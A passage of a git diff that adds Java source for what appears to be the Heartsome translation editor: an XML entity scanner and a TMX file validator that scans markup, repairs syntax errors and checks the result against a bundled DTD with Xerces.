0, 1); + } + } + while (XMLChar.isName(entity.ch[entity.position])) { + if (++entity.position == entity.count) { + int length = entity.position - offset; + if (length == entity.ch.length) { + // bad luck we have to resize our buffer + char[] tmp = new char[entity.ch.length << 1]; + System.arraycopy(entity.ch, offset, tmp, 0, length); + entity.ch = tmp; + } else { + System.arraycopy(entity.ch, offset, entity.ch, 0, length); + } + offset = 0; + if (load(length)) { + break; + } + } + } + } + int length = entity.position - offset; + entity.columnNumber += length; + return new String(entity.ch, offset, entity.position - offset); + } + + boolean scanQName(QName qname) throws IOException, TmxEndEntityException { + + if (entity.position == entity.count) { + load(0); + } + + // scan qualified name + int offset = entity.position; + if (XMLChar.isNCNameStart(entity.ch[offset])) { + if (++entity.position == entity.count) { + entity.ch[0] = entity.ch[offset]; + offset = 0; + if (load(1)) { + entity.columnNumber++; + // fSymbolTable.addSymbol(entity.ch, 0, 1); + String name = new String(entity.ch, 0, 1); + qname.setValues(null, name, name, null); + return true; + } + } + int index = -1; + while (XMLChar.isName(entity.ch[entity.position])) { + char c = entity.ch[entity.position]; + if (c == ':') { + if (index != -1) { + break; + } + index = entity.position; + } + if (++entity.position == entity.count) { + int length = entity.position - offset; + if (length == entity.ch.length) { + // bad luck we have to resize our buffer + char[] tmp = new char[entity.ch.length << 1]; + System.arraycopy(entity.ch, offset, tmp, 0, length); + entity.ch = tmp; + } else { + System.arraycopy(entity.ch, offset, entity.ch, 0, length); + } + if (index != -1) { + index = index - offset; + } + offset = 0; + if (load(length)) { + break; + } + } + } + int length = entity.position - offset; + entity.columnNumber += length; + if (length > 0) { + String prefix = null; + String localpart = null; + // fSymbolTable.addSymbol(entity.ch, offset, length); + String rawname = new String(entity.ch, offset, length); + if (index != -1) { + int prefixLength = index - offset; + // fSymbolTable.addSymbol(entity.ch, offset, prefixLength); + prefix = new String(entity.ch, offset, prefixLength); + int len = length - prefixLength - 1; + int startLocal = index + 1; + if (!XMLChar.isNCNameStart(entity.ch[startLocal])) { + // TODO: + } + // fSymbolTable.addSymbol(entity.ch, startLocal, len); + localpart = new String(entity.ch, startLocal, len); + + } else { + localpart = rawname; + } + qname.setValues(prefix, localpart, rawname, null); + return true; + } + } + return false; + } + + int scanLiteral(int quote, XMLString xs) throws IOException, TmxEndEntityException { + + if (entity.position == entity.count) { + load(0); + } else if (entity.position == entity.count - 1) { + entity.ch[0] = entity.ch[entity.count - 1]; + load(1); + entity.position = 0; + } + + // normalize newlines + int offset = entity.position; + int c = entity.ch[offset]; + int newlines = 0; + if (c == '\r' || c == '\n') { + do { + c = entity.ch[entity.position++]; + if (c == '\r') { + newlines++; + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count) { + offset = 0; + if (load(newlines)) { + break; + } + } + if (entity.ch[entity.position] == '\n') { + entity.position++; + offset++; + } else { + newlines++; + } + } else if (c == '\n') { + newlines++; + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count) { + offset = 0; + entity.baseCharOffset += (entity.position - entity.startPosition); + entity.position = newlines; + entity.startPosition = newlines; + if ( + load(newlines)) + break; + } + } else { + entity.position--; + break; + } + } while (entity.position < entity.count - 1); + for (int i = offset; i < entity.position; i++) { + entity.ch[i] = '\n'; + } + int length = entity.position - offset; + if (entity.position == entity.count - 1) { + xs.setValues(entity.ch, offset, length); + return -1; + } + } + + // scan literal value + while (entity.position < entity.count) { + c = entity.ch[entity.position++]; + if ((c == quote && !entity.literal) || c == '%' || !XMLChar.isContent(c)) { + entity.position--; + break; + } + } + int length = entity.position - offset; + entity.columnNumber += length - newlines; + xs.setValues(entity.ch, offset, length); + if (entity.position != entity.count) { + c = entity.ch[entity.position]; + if (c == quote && entity.literal) { + c = -1; + } + } else { + c = -1; + } + return c; + } + + int scanContent(XMLString xs) throws IOException, TmxEndEntityException { + + if (entity.position == entity.count) { + load(0); + } else if (entity.position == entity.count - 1) { + entity.ch[0] = entity.ch[entity.count - 1]; + load(1); + } + + int offset = entity.position; + int c = entity.ch[offset]; + int newlines = 0; + if (c == '\n' || (c == '\r')) { + do { + c = entity.ch[entity.position++]; + if (c == '\r') { + newlines++; + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count) { + offset = 0; + entity.baseCharOffset += (entity.position - entity.startPosition); + entity.position = newlines; + entity.startPosition = newlines; + if (load(newlines)) { + break; + } + } + if (entity.ch[entity.position] == '\n') { + entity.position++; + offset++; + } else { + newlines++; + } + } else if (c == '\n') { + newlines++; + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count) { + offset = 0; + entity.baseCharOffset += (entity.position - entity.startPosition); + entity.position = newlines; + entity.startPosition = newlines; + if (load(newlines)) { + break; + } + } + } else { + entity.position--; + break; + } + } while (entity.position < entity.count - 1); + for (int i = offset; i < entity.position; i++) { + entity.ch[i] = '\n'; + } + int length = entity.position - offset; + + if (entity.position == entity.count - 1) { + xs.setValues(entity.ch, offset, length); + return -1; + } + } + + while (entity.position < entity.count) { + c = entity.ch[entity.position++]; + if (!XMLChar.isContent(c)) { + entity.position--; + break; + } + } + int length = entity.position - offset; + entity.columnNumber += length - newlines; + xs.setValues(entity.ch, offset, length); + + if (entity.position != entity.count) { + c = entity.ch[entity.position]; + if (c == '\r') { + c = '\n'; + } + } else { + c = -1; + } + return c; + } + + boolean scanData(String delimiter, XMLStringBuffer buff) throws IOException { + boolean found = false; + + return found; + } + + boolean skipChar(char ch) throws IOException, TmxEndEntityException { + if (entity.position == entity.count) { + load(0); + } + int cc = entity.ch[entity.position]; + if (cc == ch) { + entity.position++; + if (ch == '\n') { + entity.lineNumber++; + entity.columnNumber = 1; + } else { + entity.columnNumber++; + } + return true; + } else if (ch == '\n' && cc == '\r') { + if (entity.position == entity.count) { + entity.ch[0] = (char) cc; + load(1); + } + entity.position++; + if (entity.ch[entity.position] == '\n') { + entity.position++; + } + entity.lineNumber++; + entity.columnNumber = 1; + return true; + } + return false; + } + + boolean skipSpaces() throws IOException, TmxEndEntityException { + if (entity.position == entity.count) { + load(0); + } + int c = entity.ch[entity.position]; + if (XMLChar.isSpace(c)) { + do { + boolean finish = false; + if (c == '\n' || c == '\r') { + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count - 1) { + entity.ch[0] = (char) c; + finish = load(1); + if (!finish) { + entity.position = 0; + entity.startPosition = 0; + } + } + if (c == '\r') { + if (entity.ch[++entity.position] != '\n'){ + entity.position--; + } + } + } else { + entity.columnNumber++; + } + if (!finish) entity.position++; + if (entity.position == entity.count) { + load(0); + } + } while (XMLChar.isSpace(c = entity.ch[entity.position])); + return true; + } + return false; + } + + boolean skipString(String str) throws IOException, TmxEndEntityException { + + if (entity.position == entity.count) { + load(0); + } + + final int length = str.length(); + + for (int i = 0; i < length; i++) { + char c = entity.ch[entity.position++]; + if (c != str.charAt(i)) { + entity.position -= i + 1; + return false; + } + if (i < length - 1 && entity.position == entity.count) { + System.arraycopy(entity.ch, entity.count - i - 1, entity.ch, 0, i + 1); + if (load(i + 1)) { + entity.startPosition -= i + 1; + entity.position -= i + 1; + return false; + } + } + } + entity.columnNumber += length; + return true; + } +// boolean skipString(String str) throws IOException { +// +// if (entity.position == entity.count) { +// load(0); +// } +// +// final int length = str.length(); +// +// if (arrangeCapacity(length, false)) { +// final int beforeSkip = entity.position; +// int afterSkip = entity.position + length - 1; +// +// int i = length - 1; +// +// while (str.charAt(i--) == entity.ch[afterSkip]) { +// if (afterSkip-- == beforeSkip) { +// entity.position = entity.position + length; +// return true; +// } +// } +// } +// return false; +// } + + boolean arrangeCapacity(int length, boolean changeEntity) throws IOException, TmxEndEntityException { + if (entity.count - entity.position >= length) { + return true; + } + while (entity.count - entity.position < length) { + if (entity.ch.length - entity.position < length) { + System.arraycopy(entity.ch, entity.position, entity.ch, 0, entity.count - entity.position); + entity.count = entity.count - entity.position; + entity.position = 0; + } + + if (entity.count - entity.position < length) { + int pos = entity.position; + boolean b = load(entity.count); + entity.position = pos; + if (b) + break; + } + } + return entity.count - entity.position >= length; + } + + /** + * @param offset + * @return end file ? true : false; + * @throws IOException ; + * @throws TmxEndEntityException + */ + boolean load(int offset) throws IOException, TmxEndEntityException { + if (!hasReader) { + finish = true; + return true; + } + + int length = entity.ch.length - offset; + int count = entity.reader.read(entity.ch, offset, length); + if (count != -1) { + entity.hasLoad += count; + if (count != 0) { + entity.count = count + offset; + entity.position = offset; + } + } else { + entity.count = offset; + entity.position = offset; + finish = true; + throw new TmxEndEntityException(); + } + return false; + } + + public boolean hasFinish() { + return finish; + } + boolean skipDeclSpaces() throws IOException, TmxEndEntityException { + // load more characters, if needed + if (entity.position == entity.count) { + load(0); + } + + // skip spaces + int c = entity.ch[entity.position]; + if (XMLChar.isSpace(c)) { + do { + boolean entityChanged = false; + // handle newlines + if (c == '\n' || c == '\r') { + entity.lineNumber++; + entity.columnNumber = 1; + if (entity.position == entity.count - 1) { + entity.ch[0] = (char) c; + entityChanged = load(1); + if (!entityChanged) { + // the load change the position to be 1, + // need to restore it when entity not changed + entity.position = 0; + entity.startPosition = 0; + } + } + if (c == '\r') { + // REVISIT: Does this need to be updated to fix the + // #x0D ^#x0A newline normalization problem? -Ac + if (entity.ch[++entity.position] != '\n') { + entity.position--; + } + } + /*** + * NEWLINE NORMALIZATION *** else { if (fCurrentEntity.ch[fCurrentEntity.position + 1] == '\r' && + * external) { fCurrentEntity.position++; } } / + ***/ + } else { + entity.columnNumber++; + } + // load more characters, if needed + if (!entityChanged) + entity.position++; + if (entity.position == entity.count) { + load(0); + } + } while (XMLChar.isSpace(c = entity.ch[entity.position])); + return true; + } + return false; + } + + public void close() { + if (entity != null && entity.reader != null) { + try { + entity.reader.close(); + } catch (IOException e) {} + } + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxScanner2.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxScanner2.java new file mode 100644 index 0000000..119b4a2 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/tmxvalidator/TmxScanner2.java @@ -0,0 +1,1354 @@ +package net.heartsome.cat.te.core.utils.tmxvalidator; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.net.URL; +import java.nio.channels.FileChannel; +import java.text.MessageFormat; + +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.cat.te.core.Activator; +import net.heartsome.cat.te.core.resource.Messages; + +import org.apache.xerces.parsers.SAXParser; +import org.apache.xerces.util.SymbolTable; +import org.apache.xerces.util.XMLAttributesImpl; +import org.apache.xerces.util.XMLChar; +import org.apache.xerces.util.XMLStringBuffer; +import org.apache.xerces.util.XMLSymbols; +import org.apache.xerces.xni.QName; +import org.apache.xerces.xni.XMLString; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.osgi.framework.Bundle; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.xml.sax.ErrorHandler; +import org.xml.sax.SAXException; +import org.xml.sax.SAXParseException; + +/** + * 借鉴 xni 内部,修改è¿è¡Œæ–¹å¼ã€‚ + * @author Austen + * @version + * @since JDK1.6 + */ +public class TmxScanner2 { + + private static final Logger LOGGER = LoggerFactory.getLogger(TmxScanner2.class); + + /** Scanner state: start of markup. */ + protected static final int SCANNER_STATE_START_OF_MARKUP = 1; + /** Scanner state: comment. */ + protected static final int SCANNER_STATE_COMMENT = 2; + /** Scanner state: processing instruction. */ + protected static final int SCANNER_STATE_PI = 3; + /** Scanner state: DOCTYPE. */ + protected static final int SCANNER_STATE_DOCTYPE = 4; + /** Scanner state: root element. */ + protected static final int SCANNER_STATE_ROOT_ELEMENT = 6; + /** Scanner state: content. */ + protected static final int SCANNER_STATE_CONTENT = 7; + /** Scanner state: reference. */ + protected static final int SCANNER_STATE_REFERENCE = 8; + /** Scanner state: end of input. */ + protected static final int SCANNER_STATE_END_OF_INPUT = 13; + /** Scanner state: terminated. */ + protected static final int SCANNER_STATE_TERMINATED = 14; + /** Scanner state: CDATA section. */ + protected static final int SCANNER_STATE_CDATA = 15; + /** Scanner state: Text declaration. */ + protected static final int SCANNER_STATE_TEXT_DECL = 16; + /** 自定义 */ + protected static final int SCANNER_STATE_ELEMENT_START = 17; + protected static final int SCANNER_STATE_ELEMENT_END = 18; + protected static final int SCANNER_STATE_ELEMENT_SELFCLOSE = 19; + + private boolean complete; + private boolean scanningAttribute; + private boolean fNotifyCharRefs; + private boolean fIsEntityDeclaredVC; + + private int scanState = 0; + + private String tmpFilePath = null; + private String[] pseudoAttributeValues = new String[3]; + + private SymbolTable pitable = new SymbolTable(); + + private QName elementQName = new QName(); + private QName fCurrentElement = new QName(); + private QName attributeQName = new QName(); + + private XMLAttributesImpl attributes = new XMLAttributesImpl(); + + private XMLString fString = new XMLString(); + private XMLString fTempString = new XMLString(); + private XMLString fTempString2 = new XMLString(); + + private XMLStringBuffer stringBuffer = new XMLStringBuffer(); + private XMLStringBuffer fStringBuffer = new XMLStringBuffer(); + private XMLStringBuffer fStringBuffer2 = new XMLStringBuffer(); + private XMLStringBuffer fStringBuffer3 = new XMLStringBuffer(); + + private TmxEntityScanner2 entityScanner = null; + + private boolean illegalCharacter = false; + + /** æ示é¢æ¿. */ + private ReportBoard board; + /** 输出工具. */ + private CorrectWriter cwriter; + + public TmxScanner2(String tmpFilePath) { + this.tmpFilePath = tmpFilePath; + } + + public void run(IProgressMonitor monitor) { + long total = 0L; + + // 1.load file + monitor.beginTask(Messages.getString("tmxeditor.tmxFileValidator.validingTmxFile"), 100); + board.info(Messages.getString("tmxeditor.tmxFileValidator.validingTmxFile")); + monitor.worked(1); + try { + total = loadFile(); + } catch (Exception e) { + board.error(e.getMessage()); + cancled(); + return; + } + + boolean syntaxError = false; + + // 2.loop elements + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 69); + subMonitor.beginTask("", 100); + subMonitor.setTaskName(Messages.getString("tmxeditor.tmxFileValidator.validingTmxFile")); + int worked = 0; + setScannerState(SCANNER_STATE_TEXT_DECL); + boolean finish = false; + do { + if (monitor.isCanceled()) { + cancled(); + return; + } else { + int tmp = (int) ((entityScanner.getHasLoad() * 100) / total); + if (tmp > worked) { + subMonitor.worked(tmp - worked); + } + worked = tmp; + } + + try { + next(); + } catch (RepairableException e) { + board.info(e); + syntaxError = true; + setScannerState(SCANNER_STATE_CONTENT); + } catch (TmxEndEntityException e) { + entityScanner.close(); + finish = true; + } catch (IOException e) { + LOGGER.error(e.getMessage(), e); + break; + } + } while (!finish); + subMonitor.done(); + + try { + cwriter.close(); + } catch (IOException e) { + LOGGER.error(e.getMessage(), e); + } + + + // dtd check this file. + String path = tmpFilePath; + + // let the board know if changed the file + if (cwriter.hasChanged() || syntaxError) { + path = cwriter.getLocation(); + board.info(MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.autofix.success"), path)); + } else { + try { + cwriter.close(); + } catch (Exception e) {} finally { + try { + new File(cwriter.getLocation()).delete(); + } catch (Exception e){} + } + } + + board.info("-----------------------------------------------"); + + board.info(MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.standard.msg"), path)); + + + IProgressMonitor dtdMonitor = new SubProgressMonitor(monitor, 30); + dtdMonitor.beginTask("", 100); + dtdMonitor.setTaskName(MessageFormat.format(Messages.getString("tmxeditor.tmxFileValidator.standard.msg"), path)); + + // DTD... + final boolean[] dtdError = new boolean[1]; + SAXParser parser = new SAXParser(); + try { + parser.setFeature("http://xml.org/sax/features/validation", true); + parser.setErrorHandler(new ErrorHandler() { + @Override + public void warning(SAXParseException exception) throws SAXException { + RepairableException e = new RepairableException(exception.getMessage()); + e.setColumn(exception.getColumnNumber()); + e.setRow(exception.getLineNumber()); + board.info(e); + dtdError[0] = true; + } + + @Override + public void fatalError(SAXParseException exception) throws SAXException { + RepairableException e = new RepairableException(exception.getMessage()); + e.setColumn(exception.getColumnNumber()); + e.setRow(exception.getLineNumber()); + board.info(e); + dtdError[0] = true; + } + + @Override + public void error(SAXParseException exception) throws SAXException { + RepairableException e = new RepairableException(exception.getMessage()); + e.setColumn(exception.getColumnNumber()); + e.setRow(exception.getLineNumber()); + board.info(e); + dtdError[0] = true; + } + }); + File copyFile = copdyDTD(path); + parser.parse(new File(path).getAbsolutePath()); + if (copyFile != null) { + File file = new File(copyFile.getParent() + "tmx14.dtd"); + file.delete(); + copyFile.renameTo(file); + } + if (!dtdError[0]) { + board.info(Messages.getString("tmxeditor.tmxFileValidator.validatePassed")); + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + board.error(e.getMessage()); + } + monitor.done(); + } + + private void cancled() { + try { + if (entityScanner != null) { + entityScanner.close(); + } + if (cwriter != null) { + cwriter.close(); + new File(cwriter.getLocation()).delete(); + } + if (board != null) { + board.dispose(); + } + } catch (Exception e) {} + + } + + private File copdyDTD(String path) throws IOException { + Bundle bundle = Platform.getBundle(Activator.PLUGIN_ID); + URL url = bundle.getEntry("res/tmx14.dtd"); + + String src = FileLocator.toFileURL(url).getPath(); + String dest = new File(path).getParent() + "tmx14.dtd"; + + File file = new File(dest); + File copyFile = null; + if (file.exists()) { + copyFile = new File(file.getAbsoluteFile() + ".copyte"); + file.renameTo(copyFile); + } + + FileOutputStream fos = null; + FileInputStream fis = null; + try { + fos = new FileOutputStream(new File(dest)); + FileChannel fosfc = fos.getChannel(); + fis = new FileInputStream(new File(src)); + FileChannel fc = fis.getChannel(); + fosfc.transferFrom(fc, 0, fis.available()); + } catch (IOException e) { + throw e; + } finally { + if (fos != null) { + fos.close(); + } + if (fis != null) { + fis.close(); + } + } + return copyFile; + } + + public void setReportBoard(ReportBoard board) { + this.board = board; + } + + public void setCorrectWriter(CorrectWriter cwriter) { + this.cwriter = cwriter; + } + + protected void scanXMLDecl() throws IOException, RepairableException, TmxEndEntityException { + // pseudo-attribute values + String version = null; + String encoding = null; + String standalone = null; + + // scan pseudo-attributes + final int STATE_VERSION = 0; + final int STATE_ENCODING = 1; + final int STATE_STANDALONE = 2; + final int STATE_DONE = 3; + int state = STATE_VERSION; + + boolean dataFoundForTarget = false; + boolean sawSpace = entityScanner.skipDeclSpaces(); + + while (entityScanner.peekChar() != '?') { + dataFoundForTarget = true; + String name = scanPseudoAttribute(false, fString); + switch (state) { + case STATE_VERSION: { + if (name.equals("version")) { + if (!sawSpace) { + newRepairableException("[pseudo attribute]not found space."); + } + version = fString.toString(); + state = STATE_ENCODING; + if (!"1.0".equals(version)) { + newRepairableException("[pseudo attribute]version not supported."); + } + } else if (name.equals("encoding")) { + if (!sawSpace) { + newRepairableException("[pseudo attribute]not found space."); + } + encoding = fString.toString(); + state = STATE_STANDALONE; + newRepairableException("[pseudo attribute]not found version info."); + } else { + newRepairableException("[pseudo attribute]:not found version decl"); + } + break; + } + case STATE_ENCODING: { + if (name.equals("encoding")) { + if (!sawSpace) { + newRepairableException("[pseudo attribute]:not found version decl"); + } + encoding = fString.toString(); + state = STATE_STANDALONE; + } else if (name.equals("standalone")) { + if (!sawSpace) { + newRepairableException("[pseudo attribute]:not found space."); + } + standalone = fString.toString(); + state = STATE_DONE; + if (!standalone.equals("yes") && !standalone.equals("no")) { + newRepairableException("invalid vaule, needs 'yes' or 'no'");// + } + } else { + throw new RepairableException("not found encoding decl"); + } + break; + } + case STATE_STANDALONE: { + if (name.equals("standalone")) { + if (!sawSpace) { + throw new RepairableException("not found space");// + } + standalone = fString.toString(); + state = STATE_DONE; + if (!standalone.equals("yes") && !standalone.equals("no")) { + + newRepairableException("[pseudo attribute]invalid vaule, needs 'yes' or 'no'");// + } + } else { + newRepairableException("[pseudo attribute]not found encoding decl"); + } + break; + } + default: { + throw new RepairableException("[pseudo attribute]not found more pseudo attrbuites"); + } + } + sawSpace = entityScanner.skipDeclSpaces(); + } + // restore original literal value + // if (currLiteral) + // currEnt.literal = true; + + if (!dataFoundForTarget && version == null) { + newRepairableException("[pseudo attribute]miss pseudo attribute 'version'"); + } + + // end + if (!entityScanner.skipChar('?')) { + newRepairableException("[pseudo attribute]not found end flag '?'"); + } + if (!entityScanner.skipChar('>')) { + newRepairableException("[pseudo attribute]not found end flag '>'"); + } + + // fill in return array + pseudoAttributeValues[0] = version; + pseudoAttributeValues[1] = encoding; + pseudoAttributeValues[2] = standalone; + + cwriter.writeXmlDecl("1.0", encoding, "no"); + } + + protected void scanDoctype() throws IOException, RepairableException, TmxEndEntityException { + // spaces + if (!entityScanner.skipSpaces()) { + newRepairableException("[doctype]:Miss space after DOCTYPE."); + } + + // root element name + String fDoctypeName = entityScanner.scanName(); + if (fDoctypeName == null) { + newRepairableException("[doctype]:Miss root element."); + } + + // external id + String[] fStrings = new String[3]; + String fDoctypeSystemId = null; + String fDoctypePublicId = null; + if (entityScanner.skipSpaces()) { + scanExternalID(fStrings, false); + fDoctypeSystemId = fStrings[0]; + fDoctypePublicId = fStrings[1]; + entityScanner.skipSpaces(); + } else { + newRepairableException("[doctype]:Miss space after root element."); + } + if (entityScanner.skipChar('>')) { + cwriter.writeDoctype(fDoctypeName, fDoctypePublicId, fDoctypeSystemId); + } else { + newRepairableException("[doctype]:Miss '>' in the end."); + } + } + + protected void scanPI() throws IOException, TmxEndEntityException { + // 未实现 TODO + } + + protected void scanStartElement() throws IOException, RepairableException, TmxEndEntityException { + entityScanner.scanQName(elementQName); + attributes.removeAllAttributes(); + copyQname(elementQName, fCurrentElement); + do { + boolean sawSpace = entityScanner.skipSpaces(); + int c = entityScanner.peekChar(); + if (c == '>') { + entityScanner.scanChar(); + break; + } else if (c == '/') { + entityScanner.scanChar(); + if (!entityScanner.skipChar('>')) { + newRepairableException("[start element] miss '>' after '/'"); + } + break; + } else if (!XMLChar.isNameStart(c) || !sawSpace) { + setScannerState(SCANNER_STATE_CONTENT); + newRepairableException("[start element] illegal char '" + Integer.toHexString(c) + '\''); + } + scanAttribute(attributes); + } while (true); + + cwriter.writeStartElement(fCurrentElement, attributes); + } + + protected void scanEndElement() throws IOException, TmxEndEntityException, RepairableException { + entityScanner.scanQName(elementQName); + entityScanner.skipSpaces(); + if (!entityScanner.skipChar('>')) { + newRepairableException("[end element]miss '>' when scan end element."); + } + cwriter.writeEndElement(elementQName); + } + + protected void scanCDATASection(boolean complete2) { + // 未实现 TODO + } + + protected int scanContent() throws IOException, TmxEndEntityException, RepairableException { + + int line = entityScanner.getLineNumber(); + int column = entityScanner.getOffsetNumber(); + + XMLString content = fTempString; + int c = entityScanner.scanContent(content); + if (c == '\r') { + // happens when there is the character reference + entityScanner.scanChar(); + stringBuffer.clear(); + stringBuffer.append(content); + stringBuffer.append((char) c); + content = stringBuffer; + c = -1; + } + + // String str = new String(content.ch, content.offset, content.length); + if (c == ']' && fTempString.length == 0) { + stringBuffer.clear(); + stringBuffer.append((char) entityScanner.scanChar()); + // remember where we are in case we get an endEntity before we + // could flush the buffer out - this happens when we're parsing an + // entity which ends with a ] + // fInScanContent = true; + // + // We work on a single character basis to handle cases such as: + // ']]]>' which we might otherwise miss. + // + if (entityScanner.skipChar(']')) { + stringBuffer.append(']'); + while (entityScanner.skipChar(']')) { + stringBuffer.append(']'); + } + if (entityScanner.skipChar('>')) { + // TODO reportFatalError("CDEndInContent", null); + } + } + // TODO fInScanContent = false; + c = -1; + } + + try { + cwriter.write(content); + } catch (RepairableException e) { + e.setColumn(column); + e.setRow(line); + throw e; + } + + return c; + } + + protected void scanComment() { + // 未实现 TODO + } + + private void next() throws IOException, RepairableException, TmxEndEntityException { + boolean again; + do { + again = false; + switch (scanState) { + case SCANNER_STATE_CONTENT: { + if (entityScanner.skipChar('<')) { + setScannerState(SCANNER_STATE_START_OF_MARKUP); + again = true; + } else if (entityScanner.skipChar('&')) { + setScannerState(SCANNER_STATE_REFERENCE); + again = true; + } else { + do { + int c = scanContent(); + if (c == '<') { + entityScanner.scanChar(); + setScannerState(SCANNER_STATE_START_OF_MARKUP); + break; + } else if (c == '&') { + entityScanner.scanChar(); + setScannerState(SCANNER_STATE_REFERENCE); + break; + } else if (c != -1 && XMLChar.isInvalid(c)) { + if (XMLChar.isHighSurrogate(c)) { + // special case: surrogates + fStringBuffer.clear(); + if (scanSurrogates(fStringBuffer)) { + } + } else { + // TODO reportFatalError("InvalidCharInContent", new Object[] { Integer.toString(c, + // 16)}); + entityScanner.scanChar(); + } + } + } while (complete); + } + break; + } + case SCANNER_STATE_TEXT_DECL: { + if (entityScanner.skipString("")) { + // we found the end, there is no data + xs.clear(); + return; + } else { + if (entityScanner.peekChar() == ':') { + entityScanner.scanChar(); + XMLStringBuffer colonName = new XMLStringBuffer(target); + colonName.append(':'); + String str = entityScanner.scanName(); + if (str != null) + colonName.append(str); + // TODO reportFatalError("ColonNotLegalWithNS", new Object[] {colonName.toString()}); + entityScanner.skipSpaces(); + } else { + // TODO reportFatalError("SpaceRequiredInPI", null); + } + } + } + + fStringBuffer.clear(); + // data + if (entityScanner.scanData("?>", fStringBuffer)) { + do { + int c = entityScanner.peekChar(); + if (c != -1) { + if (XMLChar.isHighSurrogate(c)) { + scanSurrogates(fStringBuffer); + } else if (XMLChar.isInvalid(c)) { + // reportFatalError("InvalidCharInPI", + // new Object[]{Integer.toHexString(c)}); + entityScanner.scanChar(); + } + } + } while (entityScanner.scanData("?>", fStringBuffer)); + } + xs.setValues(fStringBuffer); + } + + private void scanAttribute(XMLAttributesImpl attributes) throws RepairableException, IOException, + TmxEndEntityException { + + entityScanner.scanQName(attributeQName); + + entityScanner.skipSpaces(); + if (!entityScanner.skipChar('=')) { + throw new RepairableException("[attribute]miss '='."); + } + entityScanner.skipSpaces(); + + // content + int oldLen = attributes.getLength(); + int attrIndex = attributes.addAttribute(attributeQName, XMLSymbols.fCDATASymbol, null); + + if (oldLen == attributes.getLength()) { + newRepairableException("[attribute]multiplay attribute-key."); + } + + // Scan attribute value and return true if the un-normalized and normalized value are the same + boolean isSameNormalizedAttr = scanAttributeValue(fTempString, fTempString2, attributeQName.rawname, + fIsEntityDeclaredVC, fCurrentElement.rawname, null); + + attributes.setValue(attrIndex, fTempString.toString()); + + // If the non-normalized and normalized value are the same, avoid creating a new string. + if (!isSameNormalizedAttr) { + attributes.setNonNormalizedValue(attrIndex, fTempString2.toString()); + } + attributes.setSpecified(attrIndex, true); + } + + private boolean scanAttributeValue(XMLString value, XMLString nonNormalizedValue, String atName, + boolean checkEntities, String eleName, TmxEntityScanner2 scanner) throws RepairableException, IOException, + TmxEndEntityException { + // set default + if (scanner == null) { + scanner = entityScanner; + } + + int quote = scanner.peekChar(); + if (quote != '\'' && quote != '"') { + newRepairableException("[attribute value]miss start quote when scan attribute value."); + } + + scanner.scanChar(); + int fEntityDepth = 0; + int entityDepth = fEntityDepth; + + int c = scanner.scanLiteral(quote, value); + + int fromIndex = 0; + if (c == quote && (fromIndex = isUnchangedByNormalization(value)) == -1) { + /** Both the non-normalized and normalized attribute values are equal. **/ + nonNormalizedValue.setValues(value); + int cquote = scanner.scanChar(); + if (cquote != quote) { + newRepairableException("[attribute value]miss end quote when scan attribute value."); + } + return true; + } + + // éžè½¬ä¹‰å†…容 + fStringBuffer2.clear(); + fStringBuffer2.append(value); + normalizeWhitespace(value, fromIndex); + + if (c != quote) { + scanningAttribute = true; + fStringBuffer.clear(); + do { + fStringBuffer.append(value); + if (c == '&') { + scanner.skipChar('&'); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append('&'); + } + if (scanner.skipChar('#')) { + if (entityDepth == fEntityDepth) { + fStringBuffer2.append('#'); + } + int ch = scanCharReferenceValue(fStringBuffer, fStringBuffer2); + if (ch != -1) { + + } + } else { + String entityName = scanner.scanName(); + if (entityName == null) { + newRepairableException("[attribute value]miss reference name."); + } else if (entityDepth == fEntityDepth) { + fStringBuffer2.append(entityName); + } + if (!scanner.skipChar(';')) { + newRepairableException("[attribute value]miss end flag ';' when scan character reference."); + } else if (entityDepth == fEntityDepth) { + fStringBuffer2.append(';'); + } + if (entityName.equals("amp")) { + fStringBuffer.append('&'); + } else if (entityName.equals("apos")) { + fStringBuffer.append('\''); + } else if (entityName.equals("lt")) { + fStringBuffer.append('<'); + } else if (entityName.equals("gt")) { + fStringBuffer.append('>'); + } else if (entityName.equals("quot")) { + fStringBuffer.append('"'); + } else { + newRepairableException("[attribute value]illegal reference name '" + entityName + "'."); + } + } + } else if (c == '<') { + newRepairableException("[attribute value]illegal character '<'."); + // scanner.scanChar(); + // if (entityDepth == fEntityDepth) { + // fStringBuffer2.append((char) c); + // } + } else if (c == '%' || c == ']') { + scanner.scanChar(); + fStringBuffer.append((char) c); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append((char) c); + } + } else if (c == '\n' || c == '\r') { + scanner.scanChar(); + fStringBuffer.append(' '); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append('\n'); + } + } else if (c != -1 && XMLChar.isHighSurrogate(c)) { + fStringBuffer3.clear(); + if (scanSurrogates(fStringBuffer3)) { + fStringBuffer.append(fStringBuffer3); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append(fStringBuffer3); + } + } + } else if (c != -1 && XMLChar.isValid(c)) { + error("found invalid char when scan attr value '&#" + Integer.toHexString(c) + "'"); + scanner.scanChar(); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append((char) c); + } + } + c = scanner.scanLiteral(quote, value); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append(value); + } + normalizeWhitespace(value); + } while (c != quote || entityDepth != 